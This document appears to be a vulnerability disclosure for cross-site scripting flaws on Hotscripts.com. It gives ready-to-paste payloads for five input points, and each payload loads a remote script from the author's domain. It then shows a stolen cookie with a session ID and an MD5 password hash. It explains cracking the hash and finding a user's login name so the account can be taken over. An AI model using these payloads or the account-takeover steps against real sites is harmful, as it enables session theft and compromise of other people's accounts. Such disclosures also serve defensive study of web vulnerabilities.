Hotscripts.com - XSS with cookie disclosure

[luny () youfucktard com]

Hotscripts.com

Homepage:
http://www.hotscripts.com
  
Effected files:
search input box
adding a review
Editing your profile
sending a author a message.
Creating a new listing
----------------------------------------

XSS vuln with cookie disclosure in search input box:

For a PoC try putting: <"<"<"<"<script src=http://www.youfucktard.com/xss.js><"<"<"<"<"

Screenshot:
http://www.youfucktard.com/xsp/hotscripts1.jpg

-------------------------------

Same vuln as above,this time when writing a review:

http://www.hotscripts.com/account/index.html?section=reviews&type=addnew&listing_id=60536<"<"<"<"<script%20src=http://www.youfucktard.com/xss.js><"<"<"<"<"

Screenshot:
http://www.youfucktard.com/xsp/hotscripts2.jpg

-------------------------------------------

Editing your profile. XSS vuln in the "Website" input box.

For PoC try putting:
 ">">">">'>'><"">"><script src=http://www.youfucktard.com/xss.js><"<"<"<""><"<'

Screenshot:
http://www.youfucktard.com/xsp/hotscripts3.jpg
http://www.youfucktard.com/xsp/hotscripts4.jpg

----------------------
XSS via Sending a author a message:
Just put in the input boxes:
 ">">">">'>'><"">"><script src=http://www.youfucktard.com/xss.js><"<"<"<""><"<'

------------------------------------------------------------
XSS via creating a new listing:
Just put the code below in any input box when submitting a new listing:
 ">">">">'>'><"">"><script src=http://www.youfucktard.com/xss.js><"<"<"<""><"<'

-----------------------------------------------------------

Nowyou're wondering whats inthe cookie you'll see above. Well lets look:

The cookie you see:

This is remote text via xss.js located at youfucktard.com hotscripts=69.122.33.130.75421150139641596; 
__utma=127114772.1877428379.1150139697.1150139697.1150139862.2;__utmb=127114772;__utmz=127114772.1150139697.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none);
 __utmc=127114772; sp_check=91da4589b012c2fe1ceac1fb2363dbc6; PHPSESSID=19beec1451a94054c5c52070eb962de5 

Lets break it down:

hotscripts=69.122.33.130.75421150139641596  (First four numbers is your IP #. No idea what last string is. )

_utma= (No idea)
_utmb= (No idea)
_utmz= (No idea)
utmccn= (referral)
|utmcsr=(refferal)
utmcmd=(No Idea)
__utmc= (No idea)
sp_check= (this is a md5 hash of our password)
PHPSESSID= (Our php session on the site)

We now have an ip #, as well as a md5 hash of our pw,which can be easily cracked.  All we need now is the authors 

name. To find out the login name of a user, just view one of the listings and at the bottom right hit "Contact Author". 

Write some random msg, then you'll be taken to your inbox. In there is the login name.

Screenshot:
http://www.youfucktard.com/xsp/hotscripts5.jpg